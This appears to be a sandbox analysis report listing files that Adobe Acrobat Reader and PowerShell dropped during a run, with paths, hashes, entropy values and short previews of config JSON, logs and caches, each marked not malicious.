Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667225821701353
Encrypted:	false
SSDEEP:	24:Yv6XaJHjmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSo:Yvzt8BgkDMUJUAh8cvMo
MD5:	8348AE51A86E4C9B603213004B2402D5
SHA1:	431CC6805777F6AB59642B8AED9B392E2EBD4CEE
SHA-256:	7E4F6BDC3D4824D19679D50506CDFE0DC22E3EFC471B9A2713F428C3CB49441C
SHA-512:	BDA0222358D4D7418352877D48E9880D8F206413C13923C8A0D29665C333432FEAA33C9FF1169C644C11685C9CCEA55AF7F372E178FAA7E74EF73AEA34ED7690
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.27594845391481
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyGJmLjknZiQ0YujjeoAvJfshHHrPeUkwRe9:YvXKXyWm3kcHjVGUUUkee9
MD5:	557339E8378142091A298D5F5A2308B7
SHA1:	195517CC0821B2565DDCEF04087DA48E4F282C54
SHA-256:	49CCD22162797C79DF05F7BDCE458BB1F564B2579D55DDCA2691C690E300F68E
SHA-512:	F3294E9140D655A9D9EB8F24D40F1657FFB567F262ACA1019B9FDB7371338AE8F35AECFA4FF1B3C990F12D26E95A10CB3A91BECCB5F2FA47BB1717F76901FE2A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2852194780770345
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyGJmLjknZiQ0YujjeoAvJTqgFCrPeUkwRe9:YvXKXyWm3kcHjVGTq16Ukee9
MD5:	A4B89F37FFA1CCDF5AE18581DA1BDD35
SHA1:	52B106241AC62B228F39D38E875B3B91A100A3A0
SHA-256:	9ADB023A0103968AA979972FE732C86D56D469A7CBAAB05447315F7DB88D8D7A
SHA-512:	B09291D311A722F772C0BF62953CA48EAC7F9068D0BA1694E377B5F8AED31CC3CE2264BCC5112E091BF5522C08722035A43BA359501E5CE713B469F3A36CBFCF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1338387440112605
Encrypted:	false
SSDEEP:	48:Y0wDMJjYjX/K7R1UZXX+quyyq7SSYAZIl79h:YcjUS7R1UZH+qG5/0I7h
MD5:	CFBA1A6DEDE2E258BF41F44522E4FB9B
SHA1:	155D656D0650D8F772E9BFA334CBA3B8B3A7BD75
SHA-256:	74DE5B4A462EB6D21C7F2F4D773404BDA2A9B8FBAEB94A5F7B49815AA451E771
SHA-512:	D335C5250EBC74A111073EC1A39319EFC3336B22B18EAF35324C2D63481873859070430B3FEBAD5AF67EBF994C2ABDA9D733F2FDF8ED39FE7D22910E4B3D6D03
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e368e37316a177ea71604870cd1a5aaa","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736579752000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c26e94777916a581162ce011bf45d0e2","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736579752000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"47ebad937cf7ec760408d06cefb90211","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736579752000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e6183aeb14d6af70ee7761eea6bb5f1d","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736579752000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9fbe66db777c7ed9defa534248f8e132","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736579752000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"602f5dcafbadb3a89bb33ab08d05060e","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1457668019150116
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursgdnRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudX:TFl2GL7msgdjXc+XcGNFlRYIX2v3kGdF
MD5:	6DE17A89B98B36B1E0AC1E2F209E2BA2
SHA1:	0B8B691C5AB719CE6DC64F741497342C4E33E1D9
SHA-256:	BEC9BE90A8A0843077EB6F4299B8CD25B793B39F49E383EF2E55CD40F2A8E95C
SHA-512:	85750378FC9C7B272E0FED1E099C4A4481DD64EE0C3416256A5E9DE257FDB3ACEFE79777FEEF9D69B64B8F1327F2C49607DC659320E7BC1A5998B0D232D6C1A4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5514618216649818
Encrypted:	false
SSDEEP:	24:7+tK/AdnUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxcqLxx/J:7MK4dUXc+XcGNFlRYIX2vBqVl2GL7ms3
MD5:	9EF3E8CD9D443FAE8863DA4DBB6B38AE
SHA1:	17319F83CD779D216B2282D7E31FCCDCF8DA6BF6
SHA-256:	5D6E909A18CE5787AF5269EDA9A78309A4D6A19538B96F434538610DBFB3DFBA
SHA-512:	7C54C8944574B0ACFA8C832F069D81A9F604D8BD3D4F928D428A10C414383256698A738C04BD9DEF8213D728D10182983A960F385954A61ED3FCF76E051D3F97
Malicious:	false
Preview:	.... .c.....%%."..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgga267DZJ+jhP2/Qsk9t05uyYyu:6a6TZ44ADEf+lPAQs2twuyK
MD5:	36BEB6CB71080AC4D4E0A0CB8C8279F8
SHA1:	1057FB9086BD663E76ED2D42C67DDC5266F6487E
SHA-256:	0E27E923E4373F3B2D6719952204D235037137264356D59FDA300E975DFFE5C4
SHA-512:	9EDBED2C8E15F85DE206BFDD605D07C160E7CCDE080A322225F582CDA61D944C02151C43D6FFA349E80710828EF56EB2198A87FE88874A95D63FB0C46ED81973
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:NlllulLhwlz:NllUO
MD5:	F442CD24937ABD508058EA44FD91378E
SHA1:	FDE63CECA441AA1C5C9C401498F9032A23B38085
SHA-256:	E2960AF08E2EE7C9C72EEA31DBBFE1B55B9BF84DE2DD7BB7204487E6AF37B8F6
SHA-512:	927E2EEA0BB3FC3D3A0DA7F45644F594CE29F11D90A84B005D723500258DE9E8B3780EB87242F4C62B64B9FEEA1869FC16076FA3AC89EC34E0546CDE1BEF7631
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI99af9.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4973455600014702
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClElPZ9:Qw946cPbiOxDlbYnuRKdBPZ9
MD5:	1C2B3DCA9CBB278F786F8EB54C32A0C0
SHA1:	54BAB5A4E1B5C3B256D0E4243FF58C4D3E87219E
SHA-256:	FA994472DF0E8B8F003BF2BF34CE627143B5420AC452F00B58C00AF23980D3F9
SHA-512:	6C49619A2F8D68764765D38441FE190083F299900AFF4A542587F656B5C90A1EDACEBB65C954111DCA7F4C7A6D1BA34485ED7EC999EA87FF4F5E91E8D5D7A032
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.1.5.:.5.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1sfkxpod.h1a.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_re0rfwmj.4fb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-15-48-885.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.34489291120163
Encrypted:	false
SSDEEP:	384:px7UTViDVqjJlvwZNvCv0TGH5+AH3Dn4qtR1PT/PjhAKECULbdQYrtEtgpZfRtXm:B7OH
MD5:	6AAA790ABA948A07D7B536AC0B463B6F
SHA1:	90648DB34E09C32E4E7422D5A73D5E6440D47BDF
SHA-256:	7803583C862A4D74003509BA86BD784C8952B5D5DF84BD57C8E15377245776EA
SHA-512:	236B465A70D3756F8248307FAD12BDD199AD41FDF8347260544C84545365CF7CF922B08121827857FF042AA61F90B1A9A95461F376C1ACF22DC823A86D1B7A25
Malicious:	false
Preview:	SessionID=e9565859-879b-40b7-87e4-dd95118afa1f.1736579748900 Timestamp=2025-01-11T02:15:48:900-0500 ThreadID=7504 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e9565859-879b-40b7-87e4-dd95118afa1f.1736579748900 Timestamp=2025-01-11T02:15:48:901-0500 ThreadID=7504 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e9565859-879b-40b7-87e4-dd95118afa1f.1736579748900 Timestamp=2025-01-11T02:15:48:901-0500 ThreadID=7504 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e9565859-879b-40b7-87e4-dd95118afa1f.1736579748900 Timestamp=2025-01-11T02:15:48:901-0500 ThreadID=7504 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e9565859-879b-40b7-87e4-dd95118afa1f.1736579748900 Timestamp=2025-01-11T02:15:48:901-0500 ThreadID=7504 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398472626210627
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbzcboIBxcbx:V3fOCIdJDeEB2
MD5:	95CC51470462B32EF4AAE337D221A5C1
SHA1:	A4E9281461A5A19E56B68ED9C8A3F092ABA8E37E
SHA-256:	20B391D9686E496FDAD781E63FA2C7B4DB88C15F4228C07E5D9C55C0F099572B
SHA-512:	DB69C549935DEA1F9A826E60516A045B1E62E919D03C2293BF960317F4A96C5773AF5424EB08C26EAC4A68BF06008A2754DF581C105424BF72A25B7A13A40AA5
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\40ccecd2-f003-4433-8b5b-94fe185cc43a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\60e22801-321e-43fe-b2b5-fc399a24a64a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8ac8e282-fea1-4c0a-b59c-55f568eb5c8b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b720a1ab-ddde-4087-8567-3454232dbb80.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
